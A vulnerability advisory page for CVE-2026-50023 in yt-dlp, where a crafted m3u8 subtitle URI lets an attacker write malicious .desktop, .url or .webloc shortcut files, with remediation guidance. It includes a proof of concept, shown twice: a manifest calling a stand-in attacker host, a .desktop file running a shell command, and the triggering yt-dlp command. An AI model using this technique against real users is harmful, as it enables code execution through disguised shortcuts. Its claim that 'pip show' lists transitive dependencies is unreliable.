CVE-2026-50023: yt-dlp Dangerous File Type Creation Vulnerability

HIGH
Advisory Identifier: GHSA-c6mh-fpjc-4pr3
CVSS 8.3
CWE-641
Published
Advisory Summary

CVE-2026-50023 is a HIGH (CVSS 8.3) dangerous file type creation vulnerability (CWE-641: Improper Restriction of Names for Files and Other Resources) affecting yt-dlp libraries in the PyPI ecosystem. The issue involves dangerous file type creation via insufficient filename sanitization (bypass of cve-2024-38519). Remediation is available by upgrading affected packages to version 2026.6.9.

CVE-2026-50023 at a Glance

CVE Identifier CVE-2026-50023
GHSA Identifier GHSA-c6mh-fpjc-4pr3
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-641: Improper Restriction of Names for Files and Other Resources
Affected Product yt-dlp
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-50023

To remediate this vulnerability, upgrade all affected yt-dlp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yt-dlp fixed: 2026.6.9
pip install yt-dlp>=2026.6.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show yt-dlp

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-50023, inspect your installed packages using pip:

pip show yt-dlp

Analyze the terminal output to locate any version of yt-dlp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.6.9), your application is affected.

Note: The pip show yt-dlp command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-641: Improper Restriction of Names for Files and Other Resources, where the product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name. In yt-dlp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. ### Details The fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download. Numerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI="http://attacker/x.desktop"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option. Writing OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. While these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a "subtitles"/media file, leading to a phishing attack or arbitrary code execution. ### Proof of Concept **1. Start a malicious server:** Host a malicious `master.m3u8` manifest that points to malicious subtitle payloads: ```m3u8 #EXTM3U #EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en" ``` And host the `payload.desktop` file with malicious content: ```ini [Desktop Entry] Type=Application Exec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)" Name=Subtitle ``` **2. Trigger the download:** In this case, the generic extractor triggers the exploit if the `--write-subs` option is used: ```bash yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8" ``` **Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload. ### Patches yt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality. ### Workarounds It is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible. Users who are not able to upgrade should do ALL of the following: - Only pass fully **trusted** input URLs to yt-dlp - Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options - Use `--format -` to interactively select download formats and validate their file extensions

CVE-2026-50023 Affected yt-dlp Versions

1 component(s)
Fixed Versions:
2026.6.9
Product / Package Ecosystem Affected Versions Fixed Version
yt-dlp
PyPI
< 2026.6.9
2026.6.9

References

Frequently Asked Questions

What is CVE-2026-50023?
CVE-2026-50023 is a security vulnerability in yt-dlp involving Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519) under CWE-641: Improper Restriction of Names for Files and Other Resources.
Which yt-dlp versions are affected?
Affected versions include releases prior to 2026.6.9 across affected packages: yt-dlp.
What version fixes CVE-2026-50023?
Upgrading to 2026.6.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yt-dlp affected?
Yes, yt-dlp is affected in releases prior to 2026.6.9. Upgrade your dependency to 2026.6.9 or later.
What is the CVSS score of CVE-2026-50023?
CVE-2026-50023 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-50023?
CVE-2026-50023 is classified under CWE-641: Improper Restriction of Names for Files and Other Resources (The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.).
How can I check PyPI dependencies for CVE-2026-50023?
Run the dependency tree command: 'pip show yt-dlp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c6mh-fpjc-4pr3",
  "modified" : "2026-07-20T13:45:52Z",
  "published" : "2026-06-16T20:59:42Z",
  "aliases" : [ "CVE-2026-50023" ],
  "summary" : "yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)",
  "details" : "### Summary\nA vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. \n\n### Details\nThe fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.\n\nNumerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI=\"http://attacker/x.desktop\"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option.\n\nWriting OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. \n\nWhile these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a \"subtitles\"/media file, leading to a phishing attack or arbitrary code execution.\n\n### Proof of Concept\n**1. Start a malicious server:**\nHost a malicious `master.m3u8` manifest that points to malicious subtitle payloads:\n```m3u8\n#EXTM3U\n#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID=\"subs\",NAME=\"English\",URI=\"http://attacker/payload.desktop\",LANGUAGE=\"en\"\n```\nAnd host the `payload.desktop` file with malicious content:\n```ini\n[Desktop Entry]\nType=Application\nExec=sh -c \"touch /tmp/ytdlp_pwned_$(id -u)\"\nName=Subtitle\n```\n\n**2. Trigger the download:**\nIn this case, the generic extractor triggers the exploit if the `--write-subs` option is used:\n```bash\nyt-dlp --write-subs -o \"MyVideo.%(ext)s\" \"http://attacker/master.m3u8\"\n```\n\n**Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload.\n\n### Patches\nyt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.\n\nUsers who are not able to upgrade should do ALL of the following:\n\n- Only pass fully **trusted** input URLs to yt-dlp\n- Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options\n- Use `--format -` to interactively select download formats and validate their file extensions",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "yt-dlp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2026.6.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 2026.06.09"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-38519"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-50023"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-c6mh-fpjc-4pr3"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/yt-dlp/yt-dlp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/yt-dlp"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-641" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-16T20:59:42Z",
    "nvd_published_at" : "2026-06-23T17:17:03Z"
  }
}